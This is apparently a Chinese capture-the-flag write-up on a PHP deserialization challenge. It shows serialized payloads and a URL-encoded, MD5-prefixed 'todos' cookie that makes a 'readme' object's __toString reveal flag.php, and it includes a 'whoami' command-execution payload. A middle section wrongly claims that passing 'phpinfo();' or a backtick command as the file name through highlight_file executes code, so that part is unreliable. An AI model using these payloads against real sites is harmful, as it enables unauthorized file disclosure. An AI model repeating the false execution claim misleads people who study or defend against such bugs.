Class readme{ public function __toString() { return highlight_file('Readme.txt', true).highlight_file($this->source, true); }}

isset() 检测变量是否已设置并且非 NULL,如果source不为空就实例化一个readme的对象。
$s->source = __FILE__;
之后对这个变量赋值为__FILE__
__FILE__ 可以看做一个字符串,作用返回当前界面的绝对路径。
代码如下:
if(isset($_GET['source'])){ $s = new readme(); $s->source = __FILE__; echo $s; exit;}
这里就相当于__FILE__返回的绝对路径被赋值给了 $s->source,然后输出了变量$s,变量$s是一个对象,因为绝对路径也是字符串,当对象被当作字符串就会触发魔术方法__toString()。


源码:
return highlight_file('Readme.txt', true).highlight_file($this->source, true);
后半部分就相当于 highlight_file(__FILE__, true);
这里返回的内容就是Readme.txt的内容和当前访问界面源码的内容。
虚拟机模拟环境
这里我们复制了源码将
$s->source = __FILE__;
改为了$s->source =”flag.php”;可见这里也去读取了flag.php,还拼接了我在Readme.txt 文件中写的jiangtao,可见这里只要我们可以控制$s->source的值就可以控制其读取别的文件,不在同一目录下我们可以通过/../../来跳跃目录。



同理我们也可以控制其执行phpinfo();等危险函数.

虚拟机模拟应用
从上述情况我们已经知道,这里的变量$s是可以输出phpinfo();的,然后我们通过序列化serialize来将其保存下来。我们知道当前状态就是phpinfo();
string(48) "O:6:"readme":1:{s:6:"source";s:10:"phpinfo();";}"

可见这里我们进行了修改一旦我们由unserialize()函数接收传参时很容易就触发了,我们通过事先保存好的序列化字符串即可出发任意代码执行。
php?a=O:6:"readme":1:{s:6:"source";s:10:"phpinfo();";}

php?a=O:6:"readme":1:{s:6:"source";s:14:"echo%20`whoami`;";}
这里我们同样也可以这么传参,来执行系统命令,可见我们如下来查询得到了当前的用户。

回到靶场
这里我们回到靶场来找寻flag,我们继续查看源码。

这里我们着重找到了反序列化,却没有像上边一样找到输出。
这里我们就要介绍一个新知识点。
那就是<?=$todo?>
这里<?=$todo?> == <?php echo $todo?>
这里上述两种形式的代码是完全等价的。
可见我们是可以用这种方式输出的。这就是echo方式的简写,
这里的 =变量 就表示输出了。

知道了<?=$todo?>我们继续来想办法度flag
首先我们定位到了unserialize()函数,之后我们要想让其读取flag.php还是需要上边的代码 $s->source等于flag.php.

于是我们复制其源码,对其进行一次序列化进行存档。
这里我们将$s->source 赋值成了flag.php
获取了string(45) "O:6:"readme":1:{s:6:"source";s:8:"flag.php";}"


可是这里我们向下读发现下边有一个关于foreach遍历变量$todos的地方将其以$todo输出,这里可见$todos是个数组,这里$todos决定$todo,(因为最后输出的$todo,所以$todo肯定是一个对象,因为只有对象被当作字符串,才会触发魔术方法。),那么谁决定$todos呢?可见反序列化的结果
unserialize($m)来决定$todos.

但是这里我们由上述可知$todos是个数组,因为遍历它才输出的$todo所以我们只进行序列化是不够的,我们需要先将($s->source=flag.php)先强行转换为数组再存档即序列化。
可见这里我们将其强行转化为数组,
$s->source=flag.php
$s1=[$s]; // 将对象强行放进数组中
然后再将其存档 即序列化。
这里满足了数组里边有一个对象。
string(55) "a:1:{i:0;O:6:"readme":1:{s:6:"source";s:8:"flag.php";}}"
这里可见变成了一个数组里边有一个对象
这里数组即为$todos中的对象会被遍历的放入$todo,$todo 会被输出。从而触发__toString从而高亮显示s->source中的内容,即被篡改的flag.php

然后我们来研究$m是怎么进行传参的
$todos = unserialize($m);

if(md5($m) === $h)然后这里我们看见了一个判断条件,只有满足条件才能进行反序列化,那么$m和$h到底有什么关系呢。
if(isset($_COOKIE['todos'])){ $c = $_COOKIE['todos']; $h = substr($c, 0, 32); $m = substr($c, 32); if(md5($m) === $h){ $todos = unserialize($m);
$h = substr($c, 0, 32);取$c前32位
$m = substr($c, 32);取$c 32位以后的数据
这里我们可以看出
$c=$h+$m(+表示连接无实际意义。)
这里我们看见首先要cookie传参todos然后将该传参赋值给$c,然后$h取变量$c的前32位,$m取$c 32位以后的数据。
又if(md5($m) === $h)才能触发赋值,说明md5加密后的$m等于$h,才能进行反序列化。
于是我们可以推理出我么只要cookie传参一个字符串
$todos=...,前32位即$h是我们之前序列化的字符串(即存档的记录)(访问flag.php 的并被转化成了数组的存档),并且经过了md5加密。
a:1:{i:0;O:6:"readme":1:{s:6:"source";s:8:"flag.php";}}
==> e2d4f7dcc43ee1db7f69e76303d0105c

而32为以后的数据即$m则就是那段字符串本身。
a:1:{i:0;O:6:"readme":1:{s:6:"source";s:8:"flag.php";}}
所以最后我们的$m为:
$c=e2d4f7dcc43ee1db7f69e76303d0105ca:1:{i:0;O:6:"readme":1:{s:6:"source";s:8:"flag.php";}}
然后这里我们由源码看出$c是经过$cookie传参的todos,所以我们要进行以此url编码。(Cookie要经过url编码)
todos=e2d4f7dcc43ee1db7f69e76303d0105ca%3a1%3a%7bi%3a0%3bO%3a6%3a%22readme%22%3a1%3a%7bs%3a6%3a%22source%22%3bs%3a8%3a%22flag.php%22%3b%7d%7d


然后我们cookie传参,名为:todos
值为:
e2d4f7dcc43ee1db7f69e76303d0105ca%3a1%3a%7bi%3a0%3bO%3a6%3a%22readme%22%3a1%3a%7bs%3a6%3a%22source%22%3bs%3a8%3a%22flag.php%22%3b%7d%7d
即todos=e2d4f7dcc43ee1db7f69e76303d0105ca%3a1%3a%7bi%3a0%3bO%3a6%3a%22readme%22%3a1%3a%7bs%3a6%3a%22source%22%3bs%3a8%3a%22flag.php%22%3b%7d%7d
即可获取flag。插件不行就抓包。

